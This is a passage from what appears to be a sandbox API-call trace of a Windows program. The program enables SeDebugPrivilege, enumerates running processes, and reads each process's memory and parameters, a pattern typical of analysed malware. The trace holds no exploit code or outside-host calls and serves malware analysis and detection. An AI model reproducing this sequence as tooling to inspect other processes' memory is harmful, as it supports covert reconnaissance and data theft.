| out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.480] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4a1ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.480] malloc (_Size=0x2c) returned 0xe71df0 [0349.480] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4a215c, lpBuffer=0xe71df0, nSize=0x2a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe71df0*, lpNumberOfBytesRead=0x0) returned 1 [0349.481] free (_Block=0xe71df0) [0349.481] CloseHandle (hObject=0xa9c) returned 1 [0349.481] _ui64tow_s (in: _Value=0x16b8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5816") returned 0x0 [0349.481] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5816") returned 4 [0349.481] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.481] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.482] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x16b8) returned 0xa9c [0349.482] GetLastError () returned 0x0 [0349.482] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.482] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.482] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.483] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4525a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.483] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x452230, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.483] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.483] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.483] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.483] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x451be0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.484] malloc (_Size=0x52) returned 0xeaa590 [0349.484] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x452270, lpBuffer=0xeaa590, nSize=0x50, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeaa590*, lpNumberOfBytesRead=0x0) returned 1 [0349.484] free (_Block=0xeaa590) [0349.484] CloseHandle (hObject=0xa9c) returned 1 [0349.484] _ui64tow_s (in: _Value=0x134c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4940") returned 0x0 [0349.484] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4940") returned 4 [0349.485] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.485] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.485] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x134c) returned 0x0 [0349.485] CloseHandle (hObject=0x0) returned 0 [0349.486] _ui64tow_s (in: _Value=0xee8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3816") returned 0x0 [0349.486] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3816") returned 4 [0349.486] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.486] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.487] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xee8) returned 0xa9c [0349.487] GetLastError () returned 0x0 [0349.487] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.487] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x32d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.487] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.487] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5724e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.487] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572118, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.488] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.488] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.488] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x32d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.488] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x571ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.488] malloc (_Size=0x76) returned 0xea8e20 [0349.488] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572164, lpBuffer=0xea8e20, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8e20*, lpNumberOfBytesRead=0x0) returned 1 [0349.488] free (_Block=0xea8e20) [0349.489] CloseHandle (hObject=0xa9c) returned 1 [0349.489] _ui64tow_s (in: _Value=0x44c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1100") returned 0x0 [0349.489] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1100") returned 4 [0349.489] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.490] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.490] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x44c) returned 0xa9c [0349.490] GetLastError () returned 0x0 [0349.490] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.490] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x31c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.491] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.491] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4724b0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.491] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472118, lpBuffer=0x5ec5a0, nSize=0x50, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.491] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.491] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.491] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x31c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.491] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x471ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.492] malloc (_Size=0x52) returned 0xeaab30 [0349.492] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472168, lpBuffer=0xeaab30, nSize=0x50, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeaab30*, lpNumberOfBytesRead=0x0) returned 1 [0349.492] free (_Block=0xeaab30) [0349.492] CloseHandle (hObject=0xa9c) returned 1 [0349.492] _ui64tow_s (in: _Value=0x370, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="880") returned 0x0 [0349.493] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="880") returned 3 [0349.493] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.493] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.494] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x370) returned 0xa9c [0349.494] GetLastError () returned 0x0 [0349.494] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.494] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3cb018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.494] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.494] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5924f0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.494] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x592118, lpBuffer=0x5ec5a0, nSize=0x50, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.494] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.494] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.495] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3cb020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.495] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x591ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.495] malloc (_Size=0x68) returned 0xeb6700 [0349.495] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x592168, lpBuffer=0xeb6700, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6700*, lpNumberOfBytesRead=0x0) returned 1 [0349.495] free (_Block=0xeb6700) [0349.495] CloseHandle (hObject=0xa9c) returned 1 [0349.496] _ui64tow_s (in: _Value=0x10b8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4280") returned 0x0 [0349.496] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4280") returned 4 [0349.496] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.496] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.497] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10b8) returned 0xa9c [0349.497] GetLastError () returned 0x0 [0349.497] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.497] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2d4018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.497] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.497] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5426a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.497] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x542278, lpBuffer=0x5ec5a0, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.498] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.498] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.498] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2d4020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.498] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x541c30, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.498] malloc (_Size=0x7a) returned 0xe87ee0 [0349.498] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5422ec, lpBuffer=0xe87ee0, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87ee0*, lpNumberOfBytesRead=0x0) returned 1 [0349.499] free (_Block=0xe87ee0) [0349.499] CloseHandle (hObject=0xa9c) returned 1 [0349.499] _ui64tow_s (in: _Value=0x11e0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4576") returned 0x0 [0349.499] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4576") returned 4 [0349.499] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.499] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.500] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x11e0) returned 0xa9c [0349.500] GetLastError () returned 0x0 [0349.500] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.500] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x280018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.500] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.500] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2620, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.501] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2228, lpBuffer=0x5ec5a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.501] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.501] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.501] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x280020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.501] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d1be0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.501] malloc (_Size=0x6a) returned 0xea8d20 [0349.501] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2290, lpBuffer=0xea8d20, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8d20*, lpNumberOfBytesRead=0x0) returned 1 [0349.502] free (_Block=0xea8d20) [0349.502] CloseHandle (hObject=0xa9c) returned 1 [0349.503] free (_Block=0x2410080) [0349.508] malloc (_Size=0x48) returned 0xea83d0 [0349.508] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ed6c8 | out: lpSystemTimeAsFileTime=0x5ed6c8*(dwLowDateTime=0x8a683bed, dwHighDateTime=0x1dac836)) [0349.508] SetEvent (hEvent=0x404) returned 1 [0351.093] SetEvent (hEvent=0x404) returned 1 [0351.094] free (_Block=0xea83d0) [0351.094] GetCurrentThread () returned 0xfffffffffffffffe [0351.094] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=1, TokenHandle=0x5ed690 | out: TokenHandle=0x5ed690*=0xa9c) returned 1 [0351.094] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x5ed6cc | out: lpLuid=0x5ed6cc*(LowPart=0x14, HighPart=0)) returned 1 [0351.095] RtlRestoreLastWin32Error () returned 0x2ad000 [0351.095] AdjustTokenPrivileges (in: TokenHandle=0xa9c, DisableAllPrivileges=0, NewState=0x5ed6c8*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0351.095] GetLastError () returned 0x0 [0351.095] CloseHandle (hObject=0xa9c) returned 1 [0351.095] malloc (_Size=0x8000) returned 0xe9afd0 [0351.096] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xe9afd0, Length=0x8000, ResultLength=0x0 | out: SystemInformation=0xe9afd0, ResultLength=0x0) returned 0xc0000004 [0351.098] free (_Block=0xe9afd0) [0351.098] malloc (_Size=0x10000) returned 0xeced60 [0351.211] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xeced60, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0xeced60, ResultLength=0x0) returned 0xc0000004 [0351.214] free (_Block=0xeced60) [0351.214] malloc (_Size=0x18000) returned 0xeced60 [0351.215] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xeced60, Length=0x18000, ResultLength=0x0 | out: SystemInformation=0xeced60, ResultLength=0x0) returned 0xc0000004 [0351.218] free (_Block=0xeced60) [0351.218] malloc (_Size=0x20000) returned 0xf1af50 [0351.219] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xf1af50, Length=0x20000, ResultLength=0x0 | out: SystemInformation=0xf1af50, ResultLength=0x0) returned 0xc0000004 [0351.223] free (_Block=0xf1af50) [0351.223] malloc (_Size=0x28000) returned 0x2410080 [0351.227] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2410080, Length=0x28000, ResultLength=0x0 | out: SystemInformation=0x2410080, ResultLength=0x0) returned 0x0 [0351.231] _ui64tow_s (in: _Value=0x0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="0") returned 0x0 [0351.231] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="0") returned 1 [0351.231] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x97b9, dwMinorVersion=0x1, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.231] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.232] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0351.232] CloseHandle (hObject=0x0) returned 0 [0351.232] _ui64tow_s (in: _Value=0x4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4") returned 0x0 [0351.233] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4") returned 1 [0351.233] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.233] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.234] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0351.234] CloseHandle (hObject=0x0) returned 0 [0351.234] _ui64tow_s (in: _Value=0x48, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="72") returned 0x0 [0351.234] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="72") returned 2 [0351.234] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, 